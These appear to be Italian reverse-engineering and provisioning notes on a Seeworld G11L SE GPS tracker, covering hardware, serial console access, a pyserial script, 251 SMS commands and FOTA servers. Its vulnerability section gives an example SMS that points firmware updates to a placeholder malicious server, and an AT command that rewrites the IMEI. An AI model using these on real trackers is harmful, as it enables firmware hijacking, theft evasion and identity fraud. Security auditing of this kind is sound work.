G11L SE V08
🎯 Hardware identificato
| Funzione | Componente | Note |
|---|---|---|
| PCB platform | Seeworld G11L v1.0 | Marking G11L-V1.0-20231018, data code 2433 (sett. 33/2024) |
| Modem + MCU | SimCom A7670E → | P/N S2-10D6H-Z31S5, chipset ASR1601 (ARM Thumb-2, RTOS ThreadX) |
| GPS | Quectel L76K → | Multi-GNSS (GPS+GLONASS+Galileo+BeiDou) via UART |
| Antenna GPS | Patch 2.04.006.60 | Ceramica passiva (più grande di S21L) |
| Antenna LTE | Integrata su PCB | No pogo pins (vs S21L che ha antenna esterna case) |
| Sensori anti-tamper | keyalm + ligalm (LDR) | Doppia detection: pulsante + sensore luce (case aperto) |
| Microfono | ❌ NO | A differenza di S21L che ha MEMS mic — solo firmware-ready |
| USB | USB-C | Carica + UART debug riallocato |
| SDK firmware | A011B02V06A7670M7_SDK_231218 | SimCom A7670 SDK build 18/12/2023 (sotto NDA SimCom/ASR) |
| Architettura | No MCU esterno — fat-modem | Firmware gira interamente dentro A7670E (ThreadX RTOS) |
| Test pad UART | GND, RXD, TXD | Accesso seriale per debug firmware |
| Connettore FPC | Multipin laterale | Probabile per modulo I/O industriale esterno o sensori |
📸 Foto PCB
🔌 Accesso console seriale (cavo ROX CH340)
Il cavo seriale fornito da ROX è un banale USB↔UART con chip WCH CH340. Seeworld lo usa col loro terminale Windows sscom5.13.1 (zip "R12L W18L SSCOM"), ma non serve Windows: su macOS il driver è nativo e il device appare come /dev/cu.wchusbserial*. Basta pyserial.
La console dà accesso a tutti i 251 comandi via il prefisso AT%TEST=SMS[][…] senza dover mandare SMS reali. ✅ Testato e funzionante 15/07/2026 su unità 16+8 (IMEI 351840620256622).
💡 Analogia: è lo stesso principio di un adattatore USB-TTL (tipo Waveshare) su una dev board SimCom — adattatore → pin UART, alimentazione separata, GND comune. Differenza: sulla dev board parli col firmware AT grezzo del modem (AT+CSQ→OK); qui sopra gira il firmware applicativo Seeworld che possiede il modem, quindi ottieni il suo log di debug + l'hook AT%TEST. Inoltre qui l'alimentazione DEVE essere i 12V del device (il 5V USB non basta e va tagliato), non i 5V dell'adattatore.
🎯 Cosa puoi farci — casi d'uso
La console è la chiave master del device al banco: pilota tutti i 251 comandi gratis, istantaneo e offline. Tre famiglie di utilizzo:
🔍 Diagnostica al banco
- VERSION, IMEI/ICCID/IMSI, PARAM (APN, server, timer, HBT)
- where → posizione GPS corrente, voltaggio batteria
- Log live real-time: fix GPS, registrazione rete, attivazione PDP, ADC batteria, coda store-and-forward
- Capire PERCHÉ un device non si connette, senza aspettare gli SMS di risposta
⚙️ Provisioning / setup ROX
- server / server2 → puntare ai server Visla
- APN, protocol (GT06/JT808), timer / interval / heartbeat / timezone
- Cambiare la password default 1234 (baseline di sicurezza)
- Gratis, istantaneo, offline — nessun SMS
📦 OTA & feature premium
- fotaurl → server FOTA Visla custom = controllo OTA totale
- Attivare/tarare jamming (jamalm), collision/UBI (ecolli/eaccele/edecele/eangle)
- Sensori esterni, anti-tamper (keyalm/ligalm), tuning sleep/consumi
- FORMAT (factory reset), restart
Limite onesto: non è un jailbreak. Usi l'hook di debug del vendor (AT%TEST), quindi puoi pilotare tutti i comandi ma non flashare firmware custom da qui — per quello serve la via FOTA o l'OpenSDK SimCom. È il set completo di leve che il firmware espone, niente di più.
⚡ Come funziona (cablaggio + alimentazione)
Il cavo ROX è un adattatore USB↔UART col chip CH340 (il rigonfiamento nero vicino alla spina USB). Non gestisce il device: converte solo la USB in una seriale 3,3V e la porta ai pad UART.
Non alimenta il device. Il G11L-SE si accende solo con i 12V sul suo ingresso (switch batteria interno): il modem A7670E in TX cellulare tira picchi ben oltre quello che dà una porta USB. Divisione netta: i 12V accendono, il cavo porta solo i dati.
Va dritto al modem SimCom. Il G11L-SE è un fat-modem — niente MCU esterno, il firmware gira dentro l'A7670E. La UART di quei pad è la seriale di debug/AT del modem stesso, che è insieme radio e cervello. È lo stesso segnale dei test pad GND/RXD/TXD, solo pre-cablato in un connettore → nessuna saldatura.
| Filo | Segnale | Ruolo |
|---|---|---|
| TX | dati cavo → device | Comandi verso la UART del modem |
| RX | dati device → cavo | Risposte e log dal modem |
| GND | massa comune | Indispensabile: senza, la UART è muta |
| 5V (rosso) | alimentazione USB | ⚠️ Da TAGLIARE — fa backfeed sulla UART e blocca i comandi |
Parametri porta seriale
| Parametro | Valore | Note |
|---|---|---|
| Chip cavo ROX | WCH CH340 | Driver nativo macOS 15+ → appare come /dev/cu.wchusbserial* (su Windows serve CH341SER.EXE) |
| Baud rate | 115200 8N1 | Confermato: altri baud (9600/57600/38400) = nessuna risposta |
| Terminatore | CR + LF (\r\n) | Solo CR non basta |
| RTS / DTR | entrambi FALSE | Se alti il modem resta in reset ("Bye bye bootloader" loop) e non risponde |
| Alimentazione | Switch batteria interno ON | Il device deve essere acceso; USB-C dà solo il canale dati/UART |
Sequenza comandi
| Comando | Funzione |
|---|---|
| AT%TEST=*1234,280*1# | Abilita il log print (obbligatorio PRIMA di ogni query) |
| AT%TEST=SMS[][VERSION#] | Legge la versione firmware |
| AT%TEST=SMS[][PARAM#] | Dump parametri correnti (IMEI, APN, server, timer, HBT…) |
| AT%TEST=SMS[][<qualsiasi comando SMS>] | Incapsula uno dei 251 comandi SMS (contenuto identico all'SMS, cambia solo il prefisso) |
| AT%TEST=*1234,280*0# | Chiude il log print (ferma il flood di debug) |
⚠️ Col log print attivo il device stampa debug in continuazione: leggere per un tempo fisso, non "finché arrivano dati" (un loop che estende il timeout non termina mai). La risposta si trova nella riga sms push, num: 0000000000, cont: <risposta>. Se il device non risponde: la causa tipica (da tutorial ROX) è il filo rosso 5V del cavo USB che disturba l'UART → tagliarlo.
Script pyserial (macOS/Linux)
import serial, time
s = serial.Serial("/dev/cu.wchusbserial110", 115200, timeout=0.5)
s.setRTS(False); s.setDTR(False) # NON resettare il modem
time.sleep(0.5); s.reset_input_buffer()
def send(cmd, secs):
s.write(cmd.encode() + b"\r\n")
end = time.time() + secs; buf = b""
while time.time() < end: # tempo FISSO, il log floodda
buf += s.read(8192)
print(buf.decode(errors="replace"))
send("AT%TEST=*1234,280*1#", 3) # abilita log print
send("AT%TEST=SMS[][VERSION#]", 8) # -> VERSION:G11L_EUCD_016_V07_20241220
send("AT%TEST=SMS[][PARAM#]", 8) # -> IMEI/APN/server/timer/HBT
send("AT%TEST=*1234,280*0#", 2) # chiudi log print
s.close() 🧬 Due revisioni hardware: 16+8 (vecchia) vs 8+8 (nuova)
16+8 = 16 MB DRAM (volatile) + 8 MB ROM/flash (persistente); 8+8 = 8+8. Controintuitivamente il 16+8 è la revisione VECCHIA, l'8+8 la nuova (cost-down). Seeworld ha chiesto la versione firmware dei 16+8 proprio per scrivere il percorso di upgrade OTA che li allinei alla nuova build.
| Revisione | Stato | Firmware | Note |
|---|---|---|---|
| 16+8 (16 MB DRAM + 8 MB ROM) | Versione VECCHIA | G11L_EUCD_016_V07_20241220 | Il "016" nel nome firmware = variante 16 MB. Lotto Visla iniziale. |
| 8+8 (8 MB DRAM + 8 MB ROM) | Versione NUOVA | da rilevare | Revisione di costo ridotto. Seeworld sta scrivendo il percorso OTA per portare i 16+8 sulla nuova build. |
🧠 RTOS architecture (ThreadX su ASR1601)
5 task RTOS concorrenti (stesso firmware engine del S21L, condividono base SDK):
| Nome task RTOS | Ruolo |
|---|---|
| sAPP_KeyTask | Gestione pulsante SOS + switch DEF/ON |
| sAPP_UartTask | Processor AT command via UART di debug |
| sAPP_UsbVcomTask | Virtual COM port USB |
| sTask_TrackGsmProcesser | Main loop SMS / cellular signaling |
| sTask_TrackUartProcesser | Task protocollo (parsing frame TCP/UDP in arrivo) |
⚙️ 9 Sub-processers event-driven (3 esclusivi G11L SE!)
| Processer | Funzione |
|---|---|
| trackGpsProcesser | Parsing NMEA da L76K, validazione fix, filtro drift 7-param + accel 3-axis |
| trackGprsProcesser + trackGprsRecvProcesser | Send/receive frame TCP/UDP via LTE — protocollo GT06 + JT808 switch |
| trackAgpsProcesser + trackAgpsRecvProcesser | Fetch dati AGPS da agps.aika168.com o agps.u-blox.com |
| trackFotaProcesser | Download FOTA da server Seeworld + flash bootloader |
| trackAudioProcesser | Cattura microfono (NB: G11L SE no mic hardware ma firmware ready) |
| trackSensorProcesser 🆕 | Polling sensori esterni I2C/UART (T°, umidità, IO) — feature esclusiva G11L SE |
| trackJammingProcesser 🆕 | Monitor RF jamming (URC JAMMING ALARM!) — feature esclusiva G11L SE |
| trackCollisionProcesser 🆕 | Detect impatti via G-sensor + soglie configurabili — UBI feature |
| XM_AT_CMD_Pro | Custom AT processor sopra SDK SimCom (XM=Xunmeng=寻梦) |
📁 Filesystem persistente interno
| Path | Contenuto |
|---|---|
| c:/agps_data.txt | Cache dati AGPS (almanac + ephemeris pre-fetched) |
| c:/blind_data0.txt → blind_data9.txt | 10 slot store-and-forward (coordinate accodate senza rete) |
| c:/sensor_log.txt 🆕 | Log letture sensori esterni I2C (esclusivo G11L SE) |
| c:/collision_log.txt 🆕 | Log eventi collision con G-force peak (esclusivo G11L SE) |
📜 251 SMS Commands per categoria
Reverse engineered dalla command lookup table del firmware V08. Format: <cmd>,<val> (SET) o <cmd> (TOGGLE) o <cmd># (QUERY) o *<pwd>,<cmd>,<val># (PWD-protected, default `1234`).
🔑 ACC (Ignition)
24 cmd- • acalm, accalm, acccall, accdetect, acclock, accsms, accsta
- • accvirt (virtuale on/off/0/1), autoacc, delayacc, eaccele (acceleration UBI)
📊 Reporting / Tracking
21 cmd- • center, dirrat, dirrep, freq, hbt (heartbeat), hbtalm (on/off)
- • interval, ltime, mileage, msrec, odoset, searchtime, send, timer
🌐 Protocol / Network
21 cmd- • apn, doubleip (0/1), getcnmp, gprson (0/1), gprsset
- • lkip,stop, lockip, protocol (set), rcweb, server, server2, setcnmp, setrcweb, smsmode
🔋 Power / Battery
17 cmd- • batalm, lowbatalm/lowbatcall/lowbatsms (low battery routing)
- • lowpwralm/lowpwrcall/lowpwrsms (low power), poweralm, powerlevel
- • pwrcall, pwregis, pwrsave, pwrsms, volteon/volteoff, voltval
🔢 Numbered (toggles)
16 cmd- • Comandi numerici con suffisso # per toggle/action specifiche
📳 Vibration / Shake
12 cmd- • senalm, senlevel (sensitivity 1-5), sensorlevel, sensorrange
- • sftime, vibration, vibtime — config completa accelerometro
🚨 SOS / Allarmi base
12 cmd- • almring (ringer alarm), no soscall, no sossms
- • pwralarm, sos,a/d (arm/disarm), sosalm, vibalarm
🚗 Driving Behavior (UBI)
11 cmd- • angleval (angle threshold), collision (toggle UBI)
- • eangle (event angle), ecolli (event collision), ecomode (eco), edecele (deceleration UBI)
🏎️ Speed / Movement
11 cmd- • dirspd (direction speed), distance, move (with set), moving
- • oilspd (oil/speed), speed, speeding, static
🛰️ GPS / GNSS
9 cmd- • gpsdrift (filter drift), gpsmd, gpson, hdopgl (HDOP threshold)
- • nobspot (no blind spot), sta_sendgps, swgpsmd, where (current pos)
🔌 I/O Configuration
9 cmd- • config (din/dout/do — I/O industrial)
- • Mappatura input digitali / output relay
📦 FOTA / Firmware
9 cmd- • fota, fotaurl, fotaop, fotaver, sysurl, FORMAT (factory reset!)
- • ⚠️ fotaurl HIJACK vulnerability via SMS
🕒 Timezone
8 cmd- • zone, gmt, dt (date/time), tmzone — timezone management
🛡️ Anti-theft
7 cmd- • defense (armed level), finddev (find device)
- • keyalm (button anti-tamper), ligalm (light anti-tamper LDR)
🎤 Audio / Microphone
7 cmd- • micon/micoff (mic toggle), micgain (audio gain)
- • rec (recording), vox (voice activation)
💤 Sleep / Power Mgmt
7 cmd- • deepslp (deep sleep), dormancy
- • sleep, slpon/slpoff, workt (work timeout)
⚙️ System / Diagnostic
7 cmd- • reset, restart, status, log, debug, version, factory
❓ Misc
34 cmd- • Comandi diagnostici, feature toggles, comandi custom
🔐 Autenticazione
4 cmd- • admin (admin toggle), g1234, password (toggle + set)
🆔 IMEI / ICCID
3 cmd- • imei (read), iccid (read), imsi (read)
📡 Jamming
2 cmd- • jamalm# (query), jamalm,N (set jamming alarm level)
- • 🎯 Exclusive feature G11L SE vs S21L
📊 Totale: 251 comandi SMS in 21 categorie · Reference completa: sms-commands-g11l-se.md (528 righe)
🚀 12 Feature ESCLUSIVE G11L SE (vs S21L)
| Feature | Command / String | Valore commerciale |
|---|---|---|
| Jamming detection | jamalm + URC JAMMING ALARM! | Antifurto premium — ladro con jammer GSM 30€ rende inutile S21L |
| Collision alarm | ecolli, N | Insurance / sinistri (UBI) |
| Driving behavior | eaccele/edecele/eangle | Telemetria UBI per polizze auto |
| Sensor framework | SENSORID, SENSORLEVEL, SENSORRANGE | Sensori esterni I2C/UART (T°, umidità, IO) |
| Angle/inclination | track_angle_parse | Rilevamento ribaltamento (camion, moto) |
| Programmable siren | almring, N | Buzzer attivabile da remoto |
| JT808 native | track_jt_login_bag, track_jt_heart_bag | Standard cinese GB/T 19056 — compatibile Traccar |
| FOTA server configurable | *1234,fotaurl,http://...# | 🎯 Si può puntare a server Visla custom! |
| Eco/deep sleep tunable | track_ecomode_*, track_deep_sleep_* | Granularità per battery life lungo |
| Tamper sensors duali | keyalm + ligalm | Anti-tamper su pulsante + LDR luce (sealed case detection) |
| Acknowledged alarms | Alarm package need replay | Affidabilità in zone con rete scarsa (re-send fino ad ACK) |
| Find device | finddev, N | Beacon attivo per localizzazione asset perduto |
⚠️ 6 Vulnerabilità security identificate
Cross-version diff V01→V08 conferma: ZERO fix di sicurezza in 3 anni
Hardcoded, accettata anche su comandi destructive (FORMAT, fotaurl). Brute-force SMS: 10⁴ tentativi senza rate-limit. Cambiarla con *1234,password,<newpwd># in factory setup ROX
AT+EGMR=1,7,<imei> riscrive IMEI in flash modem. Permette evasion anti-theft, fraud, clone identity. Persistente V01→V08
*1234,fotaurl,http://malicious-server.com/track.bin# cambia il server FOTA. Combinato con pwd default = flash firmware arbitrario su qualsiasi device pwd=1234
http://183.57.42.234:888 e aika168.com via HTTP non cifrato. Possibile MITM + injection firmware se traffico intercettato
Endpoint agps.aika168.com con auth statica nel firmware → leak credenziali per chi reverse-enginerizza
Bootloader valida solo header 16-byte + JAMCRC checksum = accetta qualsiasi binario well-formed. Zero attestazione vendor
🌐 Server FOTA ecosystem Seeworld decodificato
Pipeline FOTA: 1. Device fa polling o riceve URL FOTA via SMS 2. GET <URL>/track.bin (HTTP plain, no auth, no signature) 3. Bootloader valida header 16-byte + checksum JAMCRC (no firmware signing!) 4. Flash payload + reboot URL hardcoded (modificabili solo via firmware patch O via SMS hijack): Legacy: http://183.57.42.234:888/uploadfile/g11l/70g_llse/<rev>/track.bin Mirror: http://www.aika168.com/uploadfile/g11l/70g_llse/<rev>/fota.bin Nuovo: http://fota.iotlink.net:8911/uploadfile/g11l/... (geo-restricted CN) Pattern URL = /uploadfile/<model>/70g_llse/<rev>/track.bin 🎯 Override remoto via SMS (VANTAGGIO operativo): *1234,fotaurl,http://fota.visla.it/g11l/v1.0/track.bin# SMS,URL SET OK ⚠️ Vulnerabilità (stesso comando): qualsiasi attaccante con pwd 1234 può puntare il device a server malevolo → flash firmware arbitrario
📜 19 Certificazioni CE-RED + RoHS disponibili in repo
| Normativa | Scope | Report ID |
|---|---|---|
| CE-RED EN 301 908 | 4G LTE Cat-1 (A7670E) | BCTC2411710194-4E |
| CE-RED EN 301 511 | 2G GSM fallback | BCTC2411710194-3E |
| CE-RED EN 303 413 | GPS L1 receiver | BCTC2411710194-5E |
| CE-RED EN 301 489 | EMC DC | BCTC2411710194-2E |
| CE-RED EN 62311 | RF exposure SAR | BCTC2411710194-1E |
| CE-RED Safety | EN 62368-1 | BCTC2411726300S |
| RoHS 10 sostanze | compliance UE | BCTC2503927678C/R |
| Battery 62133 | Sicurezza Li-Po | BCTC2411941621B |
| BCTC1449 EU | EU compliance cert | 1449_EU_Cert |
| RED LTE Band 1/3/7/8/20 | Test specifici bande UE | RED-LTE Band1/3/7/8/20.pdf (5 file) |
📂 PDF nel folder seeworld-oem-visla/g11l-se/ — include anche Internal/External Photos cert + Label & label location + Tune-up procedure
📁 Versioni firmware archiviate
firmware-binari/g11l/ ├── V06_20241009.bin (326 KB, 9 ott 2024) — predecessore └── V08_20250514.bin (327 KB, 14 mag 2025) — CURRENT, attiva sviluppo Confronto vs S21L: - G11L V08: 327 KB (251 SMS commands) - S21L V04: 286 KB (70 SMS commands) = G11L ha +41 KB di codice per +181 comandi extra (jamming, UBI, sensors, etc.)
📚 Documentazione tecnica
- sms-commands-g11l-se.md (528 righe) — reference completa 251 SMS
- reverse-engineering-plan.md — strategy completa apertura device + identificazione chip
- fota-research/ — analisi dettagliata processo FOTA G11L
- S21L firmware analysis — applicabile anche al G11L SE (shared engine: 94 parser functions, 36 alarms, modello dati, auto-test, XM_AT_CMD_Pro)
⚔️ Confronto con S21L (stessa firmware engine)
| Aspetto | G11L SE | S21L → |
|---|---|---|
| Piattaforma | G11L v1.0 (2023) | ST909-4G v2.0 (2021) |
| Modem | A7670E S2-10D6H-Z31S5 | A7670E S2-10F8J-Z32WE |
| Firmware corrente | V08 (mag 2025) — attivo | V04 (gen 2026) — maintenance |
| SMS commands | 251 (3.5×) | 70 |
| RTOS sub-processers | 9 (3 esclusivi) | 6 |
| Antenna 4G | Interna PCB | Esterna (pogo pins) |
| Microfono | ❌ No | ✅ MEMS |
| Jamming detect | ✅ Sì (jamalm) | ❌ No |
| UBI (collision/accel) | ✅ Sì (ecolli/eaccele/edecele) | ❌ No |
| Sensori I2C ext | ✅ sensor framework | ❌ No |
| Anti-tamper | keyalm + ligalm | tpalm (single) |
| Protocollo | GT06 + JT808 switch | Solo JT808 |
| Filesystem | +sensor_log + collision_log | agps + blind_data 0-9 |
| Firmware size | 327 KB (V08) | 286 KB (V04) |
| Use case target | Pro antifurto + UBI fleet + insurance | Consumer + audio listen-in |